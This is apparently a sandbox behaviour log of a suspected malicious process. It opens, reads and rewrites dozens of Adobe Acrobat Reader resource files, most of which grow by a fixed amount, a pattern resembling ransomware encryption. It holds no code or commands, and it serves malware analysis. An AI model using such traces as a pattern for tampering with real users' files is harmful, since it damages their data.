File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sl-si\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\da-dk\ui-strings.js, size = 7552, size_out = 7552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\da-dk\ui-strings.js, size = 8968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hr-hr\ui-strings.js, size = 7987, size_out = 7987	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hr-hr\ui-strings.js, size = 9403	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\ui-strings.js, size = 7217, size_out = 7217	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\ui-strings.js, size = 8633	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\0.2.2\jquery.ui.touch-punch.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\0.2.2\jquery.ui.touch-punch.js, size = 1144, size_out = 1144	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\0.2.2\jquery.ui.touch-punch.js, size = 2560	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\ui-strings.js, size = 1859, size_out = 1859	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\ui-strings.js, size = 3275	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\ui-strings.js, size = 1772, size_out = 1772	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\ui-strings.js, size = 3188	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\ui-strings.js, size = 1850, size_out = 1850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\ui-strings.js, size = 3266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\plugin-selectors.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\plugin-selectors.css, size = 2067, size_out = 2067	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\css\plugin-selectors.css, size = 3483	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning_2x.png, size = 1303, size_out = 1303	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning_2x.png, size = 2719	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-tool-view.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-tool-view.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\exportpdf-tool-view.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\main.css, size = 4608, size_out = 4608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\css\main.css, size = 6024	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\eu-es\ui-strings.js, size = 1163, size_out = 1163	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\eu-es\ui-strings.js, size = 2579	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ui-strings.js, size = 2521	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\ui-strings.js, size = 1254, size_out = 1254	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\ui-strings.js, size = 2670	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\ui-strings.js, size = 1204, size_out = 1204	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\ui-strings.js, size = 2620	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\ui-strings.js, size = 1224, size_out = 1224	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\ui-strings.js, size = 2640	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\da-dk\ui-strings.js, size = 1340, size_out = 1340	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\da-dk\ui-strings.js, size = 2756	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hr-hr\ui-strings.js, size = 1375, size_out = 1375	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hr-hr\ui-strings.js, size = 2791	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\ui-strings.js, size = 1317, size_out = 1317	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\ui-strings.js, size = 2733	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\plugin.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons_2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons_2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons_2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-fr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\pt-br\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-cn\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-cn\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-cn\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\da-dk\ui-strings.js, size = 1281, size_out = 1281	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\da-dk\ui-strings.js, size = 2697	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hr-hr\ui-strings.js, size = 1275, size_out = 1275	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hr-hr\ui-strings.js, size = 2691	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\root\ui-strings.js, size = 1245, size_out = 1245	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\root\ui-strings.js, size = 2661	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugin.js, size = 909, size_out = 909	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugin.js, size = 2325	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_2x.png, size = 611, size_out = 611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_2x.png, size = 2027	1	Fn Data
